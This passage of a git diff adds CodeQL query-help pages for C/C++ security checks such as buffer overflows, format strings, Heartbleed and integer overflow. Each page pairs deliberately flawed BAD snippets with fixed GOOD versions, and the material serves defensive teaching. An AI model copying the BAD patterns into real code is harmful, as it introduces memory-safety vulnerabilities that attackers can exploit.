+Precision: medium +Tags: security external/cwe/cwe-468 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-468/IncorrectPointerScaling.ql) + +Pointer arithmetic in C and C++ is automatically scaled according to the size of the data type. For example, if the type of `p` is `T*` and `sizeof(T) == 4` then the expression `p+1` adds 4 bytes to `p`. This can cause a buffer overflow condition if the programmer forgets that they are adding a multiple of `sizeof(T)`, rather than a number of bytes. + +This query finds pointer arithmetic expressions where it appears likely that the programmer has forgotten that the offset is automatically scaled. + + +## Recommendation +1. Whenever possible, use the array subscript operator rather than pointer arithmetic. For example, replace `*(p+k)` with `p[k]`. +1. Cast to the correct type before using pointer arithmetic. For example, if the type of `p` is `int*` but it really points to an array of type `double[]` then use the syntax `(double*)p + k` to get a pointer to the `k`'th element of the array. + +## Example + +```cpp +int example1(int i) { + int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; + int *intPointer = intArray; + // BAD: the offset is already automatically scaled by sizeof(int), + // so this code will compute the wrong offset. + return *(intPointer + (i * sizeof(int))); +} + +int example2(int i) { + int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; + int *intPointer = intArray; + // GOOD: the offset is automatically scaled by sizeof(int). + return *(intPointer + i); +} + +``` + +## References +* Common Weakness Enumeration: [CWE-468](https://cwe.mitre.org/data/definitions/468.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IncorrectPointerScalingVoid.md b/docs/language/query-help/cpp/IncorrectPointerScalingVoid.md new file mode 100644 index 00000000000..3f6b440c21c --- /dev/null +++ b/docs/language/query-help/cpp/IncorrectPointerScalingVoid.md @@ -0,0 +1,44 @@ +# Suspicious pointer scaling to void + +``` +ID: cpp/suspicious-pointer-scaling-void +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-468 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-468/IncorrectPointerScalingVoid.ql) + +Casting arbitrary pointers into `void*` and then accessing their contents should be done with care. The results may not be portable. + +This query finds pointer arithmetic expressions where a pointer to `void` (or similar) is then cast to another type and dereferenced. + + +## Recommendation +1. Whenever possible, use the array subscript operator rather than pointer arithmetic. For example, replace `*(p+k)` with `p[k]`. +1. Cast to the correct type before using pointer arithmetic. For example, if the type of `p` is `void*` but it really points to an array of type `double[]` then use the syntax `(double*)p + k` to get a pointer to the `k`'th element of the array. +1. If pointer arithmetic must be done with a single-byte width, prefer `char *` to `void *`, as pointer arithmetic on `void *` is a nonstandard GNU extension. + +## Example + +```cpp +char example1(int i) { + int intArray[5] = { 1, 2, 3, 4, 5 }; + void *voidPointer = (void *)intArray; + // BAD: the pointer arithmetic uses type void*, so the offset + // is not scaled by sizeof(int). + return *(voidPointer + i); +} + +int example2(int i) { + int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; + int *intPointer = intArray; + // GOOD: the offset is automatically scaled by sizeof(int). + return *(intPointer + i); +} + +``` + +## References +* Common Weakness Enumeration: [CWE-468](https://cwe.mitre.org/data/definitions/468.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IntMultToLong.md b/docs/language/query-help/cpp/IntMultToLong.md new file mode 100644 index 00000000000..de6b5fa3ea0 --- /dev/null +++ b/docs/language/query-help/cpp/IntMultToLong.md @@ -0,0 +1,40 @@ +# Multiplication result converted to larger type + +``` +ID: cpp/integer-multiplication-cast-to-long +Kind: problem +Severity: warning +Precision: high +Tags: reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Arithmetic/IntMultToLong.ql) + +This rule finds code that converts the result of an integer multiplication to a larger type. Since the conversion applies *after* the multiplication, arithmetic overflow may still occur. + +The rule flags every multiplication of two non-constant integer expressions that is (explicitly or implicitly) converted to a larger integer type. The conversion is an indication that the expression would produce a result that would be too large to fit in the smaller integer type. + + +## Recommendation +Use a cast to ensure that the multiplication is done using the larger integer type to avoid overflow. + + +## Example + +```cpp +int i = 2000000000; +long j = i * i; //Wrong: due to overflow on the multiplication between ints, + //will result to j being -1651507200, not 4000000000000000000 + +long k = (long) i * i; //Correct: the multiplication is done on longs instead of ints, + //and will not overflow + +``` + +## References +* MSDN Library: [Multiplicative Operators: *, /, and %](http://msdn.microsoft.com/en-us/library/ty2ax9z9%28v=vs.71%29.aspx). +* Cplusplus.com: [Integer overflow](http://www.cplusplus.com/articles/DE18T05o/). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). +* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). +* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/NewFreeMismatch.md b/docs/language/query-help/cpp/NewFreeMismatch.md new file mode 100644 index 00000000000..6964bde364a --- /dev/null +++ b/docs/language/query-help/cpp/NewFreeMismatch.md @@ -0,0 +1,34 @@ +# Mismatching new/free or malloc/delete + +``` +ID: cpp/new-free-mismatch +Kind: problem +Severity: warning +Precision: high +Tags: reliability security external/cwe/cwe-401 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/NewFreeMismatch.ql) + +This rule finds `delete` expressions whose argument is a pointer that points to memory allocated using the `malloc` function, and calls to `free` whose argument is a pointer that points to memory allocated using the `new` operator. Behavior in such cases is undefined and should be avoided. + + +## Recommendation +Use the `delete` operator when freeing memory allocated with `new`, and the `free` function when freeing memory allocated with `malloc`. + + +## Example + +```cpp +Record *ptr = new Record(...); + +... + +free(ptr); // BAD: ptr was created using 'new', but is being freed using 'free' + +``` + +## References +* isocpp.org 'Standard C++', "[Can I free() pointers allocated with new? Can I delete pointers allocated with malloc()?](https://isocpp.org/wiki/faq/freestore-mgmt#mixing-malloc-and-delete)" +* Wikipedia, "[Relation to malloc and free](https://en.wikipedia.org/wiki/New_and_delete_(C%2B%2B)#Relation_to_malloc_and_free)" in *new and delete (C++)*. +* Common Weakness Enumeration: [CWE-401](https://cwe.mitre.org/data/definitions/401.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/NoSpaceForZeroTerminator.md b/docs/language/query-help/cpp/NoSpaceForZeroTerminator.md new file mode 100644 index 00000000000..dc48d278fb3 --- /dev/null +++ b/docs/language/query-help/cpp/NoSpaceForZeroTerminator.md @@ -0,0 +1,43 @@ +# No space for zero terminator + +``` +ID: cpp/no-space-for-terminator +Kind: problem +Severity: error +Precision: high +Tags: reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-131/NoSpaceForZeroTerminator.ql) + +This rule identifies calls to `malloc` that call `strlen` to determine the required buffer size, but do not allocate space for the zero terminator. + + +## Recommendation +The expression highlighted by this rule creates a buffer that is of insufficient size to contain the data being copied. This makes the code vulnerable to buffer overflow which can result in anything from a segmentation fault to a security vulnerability (particularly if the array is on stack-allocated memory). + +Increase the size of the buffer being allocated by one or replace `malloc`, `strcpy` pairs with a call to `strdup` + + +## Example + +```c + +void flawed_strdup(const char *input) +{ + char *copy; + + /* Fail to allocate space for terminating '\0' */ + copy = (char *)malloc(strlen(input)); + strcpy(copy, input); + return copy; +} + + +``` + +## References +* CERT C Coding Standard: [MEM35-C. Allocate sufficient memory for an object](https://www.securecoding.cert.org/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object). +* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/NonConstantFormat.md b/docs/language/query-help/cpp/NonConstantFormat.md new file mode 100644 index 00000000000..7a93184a406 --- /dev/null +++ b/docs/language/query-help/cpp/NonConstantFormat.md @@ -0,0 +1,109 @@ +# Non-constant format string + +``` +ID: cpp/non-constant-format +Kind: problem +Severity: recommendation +Precision: high +Tags: maintainability correctness security external/cwe/cwe-134 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/NonConstantFormat.ql) + +The `printf` function, related functions like `sprintf` and `fprintf`, and other functions built atop `vprintf` all accept a format string as one of their arguments. When such format strings are literal constants, it is easy for the programmer (and static analysis tools) to verify that the format specifiers (such as `%s` and `%02x`) in the format string are compatible with the trailing arguments of the function call. When such format strings are not literal constants, it is more difficult to maintain the program: programmers (and static analysis tools) must perform non-local data-flow analysis to deduce what values the format string argument might take. + + +## Recommendation +If the argument passed as a format string is meant to be a plain string rather than a format string, then pass `%s` as the format string, and pass the original argument as the sole trailing argument. + +If the argument passed as a format string is a parameter to the enclosing function, then consider redesigning the enclosing function's API to be less brittle. + + +## Example +The following program is meant to echo its command line arguments: + + +```c +#include +int main(int argc, char** argv) { + for(int i = 1; i < argc; ++i) { + printf(argv[i]); + } +} +``` +The above program behaves as expected in most cases, but breaks when one of its command line arguments contains a percent character. In such cases, the behavior of the program is undefined: it might echo garbage, it might crash, or it might give a malicious attacker root access. One way of addressing the problem is to use a constant `%s` format string, as in the following program: + + +```c +#include +int main(int argc, char** argv) { + for(int i = 1; i < argc; ++i) { + printf("%s", argv[i]); + } +} +``` + +## Example +The following program defines a `log_with_timestamp` function: + + +```c +void log_with_timestamp(const char* message) { + struct tm now; + time(&now); + printf("[%s] ", asctime(now)); + printf(message); +} + +int main(int argc, char** argv) { + log_with_timestamp("Application is starting...\n"); + /* ... */ + log_with_timestamp("Application is closing...\n"); + return 0; +} +``` +In the code that is visible, the reader can verify that `log_with_timestamp` is never called with a log message containing a percent character, but even if all current calls are correct, this presents an ongoing maintenance burden to ensure that newly-introduced calls don't contain percent characters. As in the previous example, one solution is to make the log message a trailing argument of the function call: + + +```c +void log_with_timestamp(const char* message) { + struct tm now; + time(&now); + printf("[%s] %s", asctime(now), message); +} + +int main(int argc, char** argv) { + log_with_timestamp("Application is starting...\n"); + /* ... */ + log_with_timestamp("Application is closing...\n"); + return 0; +} +``` +An alternative solution is to allow `log_with_timestamp` to accept format arguments: + + +```c +void log_with_timestamp(const char* message, ...) { + va_list args; + va_start(args, message); + struct tm now; + time(&now); + printf("[%s] ", asctime(now)); + vprintf(message, args); + va_end(args); +} + +int main(int argc, char** argv) { + log_with_timestamp("%s is starting...\n", argv[0]); + /* ... */ + log_with_timestamp("%s is closing...\n", argv[0]); + return 0; +} +``` +In this formulation, the non-constant format string to `printf` has been replaced with a non-constant format string to `vprintf`. Semmle will no longer consider the body of `log_with_timestamp` to be a problem, and will instead check that every call to `log_with_timestamp` passes a constant format string. + + +## References +* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). +* M. Howard, D. Leblanc, J. Viega, *19 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*. +* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md b/docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md new file mode 100644 index 00000000000..ed2c18c56e2 --- /dev/null +++ b/docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md @@ -0,0 +1,58 @@ +# Array offset used before range check + +``` +ID: cpp/offset-use-before-range-check +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-125 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Best%20Practices/Likely%20Errors/OffsetUseBeforeRangeCheck.ql) + +The program contains an and-expression where the array access is defined before the range check. Consequently the array is accessed without any bounds checking. The range check does not protect the program from segmentation faults caused by attempts to read beyond the end of a buffer. + + +## Recommendation +Update the and-expression so that the range check precedes the array offset. This will ensure that the bounds are checked before the array is accessed. + + +## Example +The `find` function can read past the end of the buffer pointed to by `str` if `start` is longer than or equal to the length of the buffer (or longer than `len`, depending on the contents of the buffer). + + +```c +int find(int start, char *str, char goal) +{ + int len = strlen(str); + //Potential buffer overflow + for (int i = start; str[i] != 0 && i < len; i++) { + if (str[i] == goal) + return i; + } + return -1; +} + +int findRangeCheck(int start, char *str, char goal) +{ + int len = strlen(str); + //Range check protects against buffer overflow + for (int i = start; i < len && str[i] != 0 ; i++) { + if (str[i] == goal) + return i; + } + return -1; +} + + + + +``` +Update the and-expression so that the range check precedes the array offset (for example, the `findRangeCheck` function). + + +## References +* cplusplus.com: [ C++: array](http://www.cplusplus.com/reference/array/array/). +* Wikipedia: [ Bounds checking](http://en.wikipedia.org/wiki/Bounds_checking). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-125](https://cwe.mitre.org/data/definitions/125.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OpenSslHeartbleed.md b/docs/language/query-help/cpp/OpenSslHeartbleed.md new file mode 100644 index 00000000000..41917e2e3e3 --- /dev/null +++ b/docs/language/query-help/cpp/OpenSslHeartbleed.md @@ -0,0 +1,60 @@ +# Use of a version of OpenSSL with Heartbleed + +``` +ID: cpp/openssl-heartbleed +Kind: problem +Severity: error +Precision: very-high +Tags: security external/cwe/cwe-327 external/cwe/cwe-788 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-327/OpenSslHeartbleed.ql) + +Earlier versions of the popular OpenSSL library suffer from a buffer overflow in its "heartbeat" code. Because of the location of the problematic code, this vulnerability is often called "Heartbleed". + +Software that includes a copy of OpenSSL should be sure to use a current version of the library. If it uses an older version, it will be vulnerable to any network site it connects with. + + +## Recommendation +Upgrade to the latest version of OpenSSL. This problem was fixed in version 1.0.1g. + + +## Example +The following code is present in earlier versions of OpenSSL. The `payload` variable is the number of bytes that should be copied from the request back into the response. The call to `memcpy` does this copy. The problem is that `payload` is supplied as part of the remote request, and there is no code that checks the size of it. If the caller supplies a very large value, then the `memcpy` call will copy memory that is outside the request packet. + + +```c +int +tls1_process_heartbeat(SSL *s) + { + unsigned char *p = &s->s3->rrec.data[0], *pl; + unsigned short hbtype; + unsigned int payload; + + /* ... */ + + hbtype = *p++; + n2s(p, payload); + pl = p; + + /* ... */ + + if (hbtype == TLS1_HB_REQUEST) + { + /* ... */ + memcpy(bp, pl, payload); // BAD: overflow here + /* ... */ + } + + + /* ... */ + + } + +``` + +## References +* Common Vulnerabilities and Exposures: [CVE-2014-0160](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160). +* OpenSSL News: [OpenSSL Security Advisory [07 Apr 2014]](https://www.openssl.org/news/secadv_20140407.txt). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). +* Common Weakness Enumeration: [CWE-788](https://cwe.mitre.org/data/definitions/788.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OverflowStatic.md b/docs/language/query-help/cpp/OverflowStatic.md new file mode 100644 index 00000000000..23672b0a0d0 --- /dev/null +++ b/docs/language/query-help/cpp/OverflowStatic.md @@ -0,0 +1,41 @@ +# Static array access may cause overflow + +``` +ID: cpp/static-buffer-overflow +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-119 external/cwe/cwe-131 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/OverflowStatic.ql) + +When you use static arrays you must ensure that you do not exceed the size of the array during write and access operations. If an operation attempts to write to or access an element that is outside the range of the array then this results in a buffer overflow. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. + + +## Recommendation +Check the offsets and sizes used in the highlighted operations to ensure that a buffer overflow will not occur. + + +## Example + +```cpp +#define SIZE 30 + +int f(char * s) { + char buf[20]; //buf not set to use SIZE macro + + strncpy(buf, s, SIZE); //wrong: copy may exceed size of buf + + for (int i = 0; i < SIZE; i++) { //wrong: upper limit that is higher than array size + cout << array[i]; + } +} + +``` + +## References +* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. +* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. +* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). +* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OverrunWrite.md b/docs/language/query-help/cpp/OverrunWrite.md new file mode 100644 index 00000000000..5b511dbdbc5 --- /dev/null +++ b/docs/language/query-help/cpp/OverrunWrite.md @@ -0,0 +1,45 @@ +# Potentially overrunning write + +``` +ID: cpp/overrunning-write +Kind: problem +Severity: error +Precision: medium +Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/OverrunWrite.ql) + +The program performs a buffer copy or write operation with no upper limit on the size of the copy, and it appears that certain inputs will cause a buffer overflow to occur in this case. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. + + +## Recommendation +Always control the length of buffer copy and buffer write operations. `strncpy` should be used over `strcpy`, `snprintf` over `sprintf`, and in other cases 'n-variant' functions should be preferred. + + +## Example + +```c +void sayHello() +{ + char buffer[10]; + + // BAD: this message overflows the buffer + strcpy(buffer, "Hello, world!"); + + MessageBox(hWnd, buffer, "New Message", MB_OK); +} +``` +In this example, the call to `strcpy` copies a message of 14 characters (including the terminating null) into a buffer with space for just 10 characters. As such, the last four characters overflow the buffer resulting in undefined behavior. + +To fix this issue three changes should be made: + +* Control the size of the buffer using a preprocessor define. +* Replace the call to `strcpy` with `strncpy`, specifying the define as the maximum length to copy. This will prevent the buffer overflow. +* Consider increasing the buffer size, say to 20 characters, so that the message is displayed correctly. + +## References +* CERT C Coding Standard: [STR31-C. Guarantee that storage for strings has sufficient space for character data and the null terminator](https://www.securecoding.cert.org/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). +* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OverrunWriteFloat.md b/docs/language/query-help/cpp/OverrunWriteFloat.md new file mode 100644 index 00000000000..511f4691d76 --- /dev/null +++ b/docs/language/query-help/cpp/OverrunWriteFloat.md @@ -0,0 +1,45 @@ +# Potentially overrunning write with float to string conversion + +``` +ID: cpp/overrunning-write-with-float +Kind: problem +Severity: error +Precision: medium +Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/OverrunWriteFloat.ql) + +The program performs a buffer copy or write operation that includes one or more float to string conversions (i.e. the %f format specifier), which may overflow the destination buffer if extreme inputs are given. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. + + +## Recommendation +Always control the length of buffer copy and buffer write operations. `strncpy` should be used over `strcpy`, `snprintf` over `sprintf`, and in other cases 'n-variant' functions should be preferred. + + +## Example + +```c +void displayValue(double value) +{ + char buffer[256]; + + // BAD: extreme values may overflow the buffer + sprintf(buffer, "%f", value); + + MessageBox(hWnd, buffer, "A Number", MB_OK); +} +``` +In this example, the call to `sprintf` contains a %f format specifier. Though a 256 character buffer has been allowed, it is not sufficient for the most extreme floating point inputs. For example the representation of double value 1e304 (that is 1 with 304 zeroes after it) will overflow a buffer of this length. + +To fix this issue three changes should be made: + +* Control the size of the buffer using a preprocessor define. +* Replace the call to `sprintf` with `snprintf`, specifying the define as the maximum length to copy. This will prevent the buffer overflow. +* Consider using the %g format specifier instead of %f. + +## References +* CERT C Coding Standard: [STR31-C. Guarantee that storage for strings has sufficient space for character data and the null terminator](https://www.securecoding.cert.org/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). +* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/PointerOverflow.md b/docs/language/query-help/cpp/PointerOverflow.md new file mode 100644 index 00000000000..843e3a4d172 --- /dev/null +++ b/docs/language/query-help/cpp/PointerOverflow.md @@ -0,0 +1,45 @@ +# Pointer overflow check + +``` +ID: cpp/pointer-overflow-check +Kind: problem +Severity: error +Precision: high +Tags: reliability security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/PointerOverflow.ql) + +When checking for integer overflow, you may often write tests like `p + i < p`. This works fine if `p` and `i` are unsigned integers, since any overflow in the addition will cause the value to simply "wrap around." However, using this pattern when `p` is a pointer is problematic because pointer overflow has undefined behavior according to the C and C++ standards. If the addition overflows and has an undefined result, the comparison will likewise be undefined; it may produce an unintended result, or may be deleted entirely by an optimizing compiler. + + +## Recommendation +To check whether an index `i` is less than the length of an array, simply compare these two numbers as unsigned integers: `i < ARRAY_LENGTH`. If the length of the array is defined as the difference between two pointers `ptr` and `p_end`, write `i < p_end - ptr`. If `i` is signed, cast it to unsigned in order to guard against negative `i`. For example, write `(size_t)i < p_end - ptr`. + + +## Example +An invalid check for pointer overflow is most often seen as part of checking whether a number `a` is too large by checking first if adding the number to `ptr` goes past the end of an allocation and then checking if adding it to `ptr` creates a pointer so large that it overflows and wraps around. + + +```cpp +bool not_in_range(T *ptr, T *ptr_end, size_t i) { + return ptr + i >= ptr_end || ptr + i < ptr; // BAD +} + +``` +In both of these checks, the operations are performed in the wrong order. First, an expression that may cause undefined behavior is evaluated (`ptr + i`), and then the result is checked for being in range. But once undefined behavior has happened in the pointer addition, it cannot be recovered from: it's too late to perform the range check after a possible pointer overflow. + +While it's not the subject of this query, the expression `ptr + i < ptr_end` is also an invalid range check. It's undefined behavor in C/C++ to create a pointer that points more than one past the end of an allocation. + +The next example shows how to portably check whether an unsigned number is outside the range of an allocation between `ptr` and `ptr_end`. + + +```cpp +bool not_in_range(T *ptr, T *ptr_end, size_t i) { + return i >= ptr_end - ptr; // GOOD +} +``` + +## References +* Embedded in Academia: [Pointer Overflow Checking](https://blog.regehr.org/archives/1395). +* LWN: [GCC and pointer overflows](https://lwn.net/Articles/278137/). \ No newline at end of file diff --git a/docs/language/query-help/cpp/PotentiallyDangerousFunction.md b/docs/language/query-help/cpp/PotentiallyDangerousFunction.md new file mode 100644 index 00000000000..ed95cf2a7af --- /dev/null +++ b/docs/language/query-help/cpp/PotentiallyDangerousFunction.md @@ -0,0 +1,50 @@ +# Use of potentially dangerous function + +``` +ID: cpp/potentially-dangerous-function +Kind: problem +Severity: warning +Precision: high +Tags: reliability security external/cwe/cwe-676 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-676/PotentiallyDangerousFunction.ql) + +This rule finds calls to functions that are dangerous to use. Currently, it checks for calls to `gmtime`, `localtime`, `ctime` and `asctime`. + +The time related functions such as `gmtime` fill data into a `tm` struct or `char` array in shared memory and then returns a pointer to that memory. If the function is called from multiple places in the same program, and especially if it is called from multiple threads in the same program, then the calls will overwrite each other's data. + + +## Recommendation +Replace calls to `gmtime` with `gmtime_r`. With `gmtime_r`, the application code manages allocation of the `tm` struct. That way, separate calls to the function can use their own storage. + +Similarly replace calls to `localtime` with `localtime_r`, calls to `ctime` with `ctime_r` and calls to `asctime` with `asctime_r`. + + +## Example +The following example checks the local time in two ways: + + +```c +// BAD: using gmtime +int is_morning_bad() { + const time_t now_seconds = time(NULL); + struct tm *now = gmtime(&now_seconds); + return (now->tm_hour < 12); +} + +// GOOD: using gmtime_r +int is_morning_good() { + const time_t now_seconds = time(NULL); + struct tm now; + gmtime_r(&now_seconds, &now); + return (now.tm_hour < 12); +} + +``` +The first version uses `gmtime`, so it is vulnerable to its data being overwritten by another thread. Even if this code is not used in a multi-threaded context right now, future changes may make the program multi-threaded. The second version of the code uses `gmtime_r`. Since it allocates a new `tm` struct on every call, it is immune to other calls to `gmtime` or `gmtime_r`. + + +## References +* SEI CERT C Coding Standard: [CON33-C. Avoid race conditions when using library functions](https://wiki.sei.cmu.edu/confluence/display/c/CON33-C.+Avoid+race+conditions+when+using+library+functions). +* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SignedOverflowCheck.md b/docs/language/query-help/cpp/SignedOverflowCheck.md new file mode 100644 index 00000000000..2d200d70b4d --- /dev/null +++ b/docs/language/query-help/cpp/SignedOverflowCheck.md @@ -0,0 +1,70 @@ +# Signed overflow check + +``` +ID: cpp/signed-overflow-check +Kind: problem +Severity: warning +Precision: high +Tags: correctness security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Arithmetic/SignedOverflowCheck.ql) + +When checking for integer overflow, you may often write tests like `a + b < a`. This works fine if `a` or `b` are unsigned integers, since any overflow in the addition will cause the value to simply "wrap around." However, using *signed* integers is problematic because signed overflow has undefined behavior according to the C and C++ standards. If the addition overflows and has an undefined result, the comparison will likewise be undefined; it may produce an unintended result, or may be deleted entirely by an optimizing compiler. + + +## Recommendation +Solutions to this problem can be thought of as falling into one of two categories: + +1. Rewrite the signed expression so that overflow cannot occur but the signedness remains. +1. Change the variables and all their uses to be unsigned. +The following cases all fall into the first category. + +1. Given `unsigned short n1, delta` and `n1 + delta < n1`, it is possible to rewrite it as `(unsigned short)(n1 + delta) < n1`. Note that `n1 + delta` does not actually overflow, due to `int` promotion. +1. Given `unsigned short n1, delta` and `n1 + delta < n1`, it is also possible to rewrite it as `n1 > USHORT_MAX - delta`. The `limits.h` or `climits` header must then be included. +1. Given `int n1, delta` and `n1 + delta < n1`, it is possible to rewrite it as `n1 > INT_MAX - delta`. It must be true that `delta >= 0` and the `limits.h` or `climits` header has been included. + +## Example +In the following example, even though `delta` has been declared `unsigned short`, C/C++ type promotion rules require that its type is promoted to the larger type used in the addition and comparison, namely a `signed int`. Addition is performed on signed integers, and may have undefined behavior if an overflow occurs. As a result, the entire (comparison) expression may also have an undefined result. + + +```cpp +bool foo(int n1, unsigned short delta) { + return n1 + delta < n1; // BAD +} + +``` +The following example builds upon the previous one. Instead of performing an addition (which could overflow), we have re-framed the solution so that a subtraction is used instead. Since `delta` is promoted to a `signed int` and `INT_MAX` denotes the largest possible positive value for an `signed int`, the expression `INT_MAX - delta` can never be less than zero or more than `INT_MAX`. Hence, any overflow and underflow are avoided. + + +```cpp +#include +bool foo(int n1, unsigned short delta) { + return n1 > INT_MAX - delta; // GOOD +} + +``` +In the following example, even though both `n` and `delta` have been declared `unsigned short`, both are promoted to `signed int` prior to addition. Because we started out with the narrower `short` type, the addition is guaranteed not to overflow and is therefore defined. But the fact that `n1 + delta` never overflows means that the condition `n1 + delta < n1` will never hold true, which likely is not what the programmer intended. (see also the `cpp/bad-addition-overflow-check` query). + + +```cpp +bool bar(unsigned short n1, unsigned short delta) { + // NB: Comparison is always false + return n1 + delta < n1; // GOOD (but misleading) +} + +``` +The next example provides a solution to the previous one. Even though `n1 + delta` does not overflow, casting it to an `unsigned short` truncates the addition modulo 2^16, so that `unsigned short` "wrap around" may now be observed. Furthermore, since the left-hand side is now of type `unsigned short`, the right-hand side does not need to be promoted to a `signed int`. + + +```cpp +bool bar(unsigned short n1, unsigned short delta) { + return (unsigned short)(n1 + delta) < n1; // GOOD +} + +``` + +## References +* [comp.lang.c FAQ list Question 3.19 (Preserving rules)](http://c-faq.com/expr/preservingrules.html) +* [INT31-C. Ensure that integer conversions do not result in lost or misinterpreted data](https://wiki.sei.cmu.edu/confluence/display/c/INT31-C.+Ensure+that+integer+conversions+do+not+result+in+lost+or+misinterpreted+data) +* W. Dietz, P. Li, J. Regehr, V. Adve. [Understanding Integer Overflow in C/C++](https://www.cs.utah.edu/~regehr/papers/overflow12.pdf) \ No newline at end of file diff --git a/docs/language/query-help/cpp/SizeCheck.md b/docs/language/query-help/cpp/SizeCheck.md new file mode 100644 index 00000000000..2885c443c85 --- /dev/null +++ b/docs/language/query-help/cpp/SizeCheck.md @@ -0,0 +1,40 @@ +# Not enough memory allocated for pointer type + +``` +ID: cpp/allocation-too-small +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-131 external/cwe/cwe-122 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/SizeCheck.ql) + +When you allocate an array from memory using `malloc`, `calloc` or `realloc`, you should ensure that you allocate enough memory to contain an instance of the required pointer type. Calls that are assigned to a non-void pointer variable, but do not allocate enough memory will cause a buffer overflow when a field accessed on the pointer points to memory that is beyond the allocated array. 